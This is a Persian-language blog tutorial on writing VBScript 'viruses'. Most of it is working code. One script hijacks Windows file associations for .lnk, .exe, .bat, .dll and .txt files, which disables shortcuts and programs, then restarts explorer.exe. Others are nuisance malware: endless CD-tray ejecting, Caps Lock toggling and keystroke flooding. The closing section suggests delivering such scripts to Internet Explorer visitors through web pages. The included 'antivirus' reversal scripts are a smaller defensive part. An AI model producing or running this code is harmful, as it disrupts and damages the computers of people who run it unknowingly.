تو اين آموزش ها ما مي خوايم به روش هاي مختلف نوشتن ويروس هاي VBS بپردازيم
WSH* يكي از تكنولو*ي هاي اسكريپت نويسي در ويندوز مي باشد .دليل نامگذاري آن به
عنوان HOST اين است كهبه زبان هاي برنامه نويسي آشنايي ندارد و به همين خاطر
مايكروسافت آن را Language Agnostic مي نامد .
WSH *از موتور زبان هاي برنامه نويسي VB , C , C++ استفاده مي كند كه آن را با
نام VBScript و Jscript* استفاده مي كند . اجرا كننده ي اين كد ها فايلي با نام
Wscript.exe مي باشد .
اگر شما به زبان برنامه نويسي Visual Basic* آشنايي داشته باشيد مي توانيد
خيلي ساده با VBS هم برنامه هايي را كه براي كارتان مورد نياز است را بنويسيد .
در اين درس ما مي خواهيم يك ويروسي را بنويسيم كه از اجراي فايل ها با پسوند
مشخص جلوگيري كند و در نهايت ژروسه ي explorer.exe را يك بار end* كند و دوباره آن
را اجرا كندد .
اگر ما بخواهيم اين كار را به صورت دستي انجام دهيم بايد موارد زير را اعمال
كنيم .
به شاخه ي زير از رجيستري ويندوز مي رويم
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\FileExts\.lnk\UserChoice
سپس در اين قسمت يك مقدار با نام PROGID مي سازيم و مقدار آن را
Applications\explorer.exe و يا هر برنامه ي ديگري مي گذاريم
و در نهايت پروسه Explorer.exe را يك دور end مي كنيم و آن را دوباره
Run مي كنيم .
اما اگر بخواهيم مراحل بالا را از طريق زبان VBS بنويسيم بسيار ساده تر مي
شود .
در اينجا ما فايل هايي كه با پسوند LNK هستند را غير فعال مي كنيم . در
صورتي كه اين نوع فايل ها در ويندوز غير فعال شود هيچ shortcutي در ويندوز قابل
اجرا نمي باشد و از بين مي روند .
از كد زير جهت انجام مراحل بالا استفاده مي كنيم
تغيير در رجيستري و ساخت مقدار PROGID*و انتصاب مقدار Applications\explorer.exe
به آن .
HKEY_CURRENT_USER
= &H80000001
strComputer
= "."
Set
objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath
= "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
objReg.CreateKey
HKEY_CURRENT_USER, strKeyPath
ValueName
= "Progid"
strValue
= "Applications\explorer.exe"
objReg.SetStringValue
HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
و براي اينكه بخواهيم پروسه ي Explorer.exe*را هم Restart كنيم از كد زير
استفاده مي كنيم .
کد:
strComputer
= "."
Set
objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\"
& strComputer & "\root\cimv2")
Set
colProcessList = objWMIService.ExecQuery _
("Select
* from Win32_Process Where Name = 'explorer.exe'")
For
Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim
oShell : Set oShell = CreateObject("WScript.Shell")
'oShell.Run
"taskkill /im explorer", , True
WScript.Sleep
3000
oShell.Run
"explorer.exe", , True
اينجا ما مي خوايم كمي كد رو گسترش بديم و فايل هاي exe و bat, , com و ... رو
هم بهش اضافه كنيم .
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
خوب حالا ما مي خواييم يك آنتي ويروس براي اين ويروس بنويسيم
براي اينكار كافيه كليه ي كد هاي مراحل ويروس را نگاه كنيم و كد ها را
معكوس كنيم .اما چند مطلب وجود دارد .
شما كد MSGbox “BHG” را داخل يك فايل با پسوند VBS بگذاريد و آن را اجرا كنيد مي
بينيد كه پيغامي با نام BHG ظاهر مي شود حالا وارد taskmgr شويد و مي بينيد كه در
ليست پروسه ها فايلي با نام Wscript.exe وجود دارد كه با end*كردن اون اين ژيغام هم
از بين مي ورد . اگر ما فرض كنيم كه يك ويروس Vbs وارد سيستم ما شده ما اول از همه
بايد از طريق پروسه ي اين ويروس كه همان Wscript.exe هست محل آن را شناسايي كنيم و
سسپس با خواندن محتويات كد معكوس آن را انجام دهيم .
آنتي ويروس بال به شكل زير بوده
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName,
strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName,
strValue
'----------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName,
strValue
'----------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName,
strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer &
"\root\default:StdRegProv")
strKeyPath =
"Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName,
strValue
'==============================
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\" & strComputer
& "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name =
'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim oShell : Set oShell = CreateObject("WScript.Shell")
WScript.Sleep 3000
oShell.Run "explorer.exe", , True
'===============================
آشنايي با روش هاي مختلف Script نويسي در ويندوز براي وقت هايي مناسب هستند كه
ما مي خواهيم يك برنامه ي خاص را بنويسيم اما هيچ نوع كامپايلر زبان برنامه نويسي
بر روي سيستم نصب نمي باشد .
اما اگر از ديدگاه علوم هك و امنيت بخواهيم نگاه كنيم جهت bypass*كردن اقدامات
امنيتي ايجاد شده بر روي ويندوز و يا جهت نوشتن يك آنتي ويروس براي ويروس داخل
سيستم مي توان از آنها استفاده كرد .
در زير سعي ميكنيم چندين ويروس به زبان vBs را بزاريم و طريقه مقابله با
آنها را نيز شرح دهيم .
__________________
فایل ها با نام BHG.VBS ذخیره بشه
برای از کار انداختن اونها
می تونید Wscript را در Taskmgr را End نمایید .
=======================================
=======================================
=======================================
این ویروس میاد هر 5 ثانیه یک بار
سی دی رم رو باز میکنه
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
این ویروس میاد چراغ Caps lock رو روشن
خاموش میکنه
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
---------------------------------
این نوع ویروس ویندوز رو دیوانه
میکنه رو یاهو هم کر میکنه pm های سریع میده
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
---------------------------------------
این ویروس کلمه ی BHG رو تو pm
یاهو و یا Notoad و Word و ... می نویسه کلا
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "BHGl."
loop
همون طوری که میبینید بد افزار های بالا همگی از حلقه ها استفاده می کنند و هیچ
بخشی از ویندوز رو تغییر نمی دهند پس فقط کافیست که پروسه Wscript.exe را یک بار
End کرد
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\" & strComputer
& "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name =
'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim oShell : Set oShell = CreateObject("WScript.Shell")
'oShell.Run "taskkill /im Wscript", , True
WScript.Sleep 3000
oShell.Run "explorer.exe", , True
کد:
اما اینکه چطوری ما از کد های vbs در صفحات وب استفاده کنیم
این کار رو
میشه کرد اما فقط در IE میشه کد ها رو اجرا کرد اینه که میگن از این IE استفاده
نکنید . اما گوش که نمیکنید :D
من اگه بخوام که وقتی فردی وارد صفحه ما میشه
پیغامی به اون داده بشه به شکل زیر عمل می کنم
برای اینکه بگیم ما داریم از زبان VBS استفاده می کنیم باید از مقدار زیر در
بدنه صفحه استفاده کنیم
http://l4tr0d3ctism.persiangig.com/vbscipt%20in%20web.txt
به دلیل اینکه بلاگفا استفاده از این کد ها رو تهدید میدونه \س اونا رو فیلتر کرده و من مجبورم تو فایل Txt بزارم
خوب شما می تونید از این طریق یک ویروسی رو
وارد سیستم فرد کنید و اون رو روی سیستمش اجرا کنید
اما فقط در صورتی که
اون نفر از IE استفاده کنه
ما بقیهی فرامین استفاده از VBS مانند خود
ویژوال بیسیک هستش
برای اطلاعات بیشتر می تونید به لیتنک های زیر برید یا
از گوگل کمک بگیرید
http://www.tizag.com/vbscriptTutorial/
http://www.quackit.com/vbscript/tutorial/